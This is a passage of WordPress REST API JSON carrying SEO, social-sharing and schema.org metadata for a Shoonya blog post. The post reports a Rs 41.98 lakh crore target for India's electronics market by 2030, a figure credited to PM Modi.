2030. Currently, the Indian electronics market is valued at approximately 13 lakh cr.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/electronics-market\/","og_locale":"en_US","og_type":"article","og_title":"India\u2019s Electronics Industry to Hit \u20b941.98 Lakh Cr by 2030","og_description":"PM Modi has set a \u20b941.98 Lakh cr target for India's electronics sector by 2030. Currently, the Indian electronics market is valued at approximately 13 lakh cr.","og_url":"https:\/\/shoonya.com\/blog\/electronics-market\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2024-09-12T08:24:07+00:00","article_modified_time":"2024-09-12T08:30:36+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/09\/Future-of-Electronics-Industry-in-India.jpg","type":"image\/jpeg"}],"author":"admin","twitter_card":"summary_large_image","twitter_title":"India\u2019s Electronics Industry to Hit \u20b941.98 Lakh Cr by 2030","twitter_description":"PM Modi has set a \u20b941.98 Lakh cr target for India's electronics sector by 2030. Currently, the Indian electronics market is valued at approximately 13 lakh cr.","twitter_image":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/09\/Future-of-Electronics-Industry-in-India.jpg","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/electronics-market\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/electronics-market\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"India&#8217;s Electronics Market to Reach \u20b941.98 Lakh Cr by 2030, Says PM Modi.","datePublished":"2024-09-12T08:24:07+00:00","dateModified":"2024-09-12T08:30:36+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/electronics-market\/"},"wordCount":587,"image":{"@id":"https:\/\/shoonya.com\/blog\/electronics-market\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/09\/Future-of-Electronics-Industry-in-India.jpg","keywords":["electronic manufacturing industry in india","electronics market","electronics market growth","electronics sector growth","india electronics market","Israel\u2019s Tower Semiconductor Ltd","NXP Semiconductors NV","semiconductor investments","semiconductor makers"],"articleSection":["News"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/shoonya.com\/blog\/electronics-market\/","url":"https:\/\/shoonya.com\/blog\/electronics-market\/","name":"India\u2019s Electronics Industry to Hit \u20b941.98 Lakh Cr by 2030","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/electronics-market\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/electronics-market\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/09\/Future-of-Electronics-Industry-in-India.jpg","datePublished":"2024-09-12T08:24:07+00:00","dateModified":"2024-09-12T08:30:36+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"PM Modi has set a \u20b941.98 Lakh cr target for India's electronics sector by 2030. Currently, the Indian electronics market is valued at approximately 13 lakh cr.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/electronics-market\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/electronics-market\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/electronics-market\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/09\/Future-of-Electronics-Industry-in-India.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/09\/Future-of-Electronics-Industry-in-India.jpg","width":1920,"height":1080,"caption":"Future of Electronics Industry in India"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/electronics-market\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"News","item":"https:\/\/shoonya.com\/blog\/latest-news\/"},{"@type":"ListItem","position":3,"name":"India&#8217;s Electronics Market to Reach \u20b941.98 Lakh Cr by 2030, Says PM Modi."}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/8829","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=8829"}],"version-history":[{"count":4,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/8829\/revisions"}],"predecessor-version":[{"id":8835,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/8829\/revisions\/8835"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/8832"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=8829"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=8829"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=8829"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}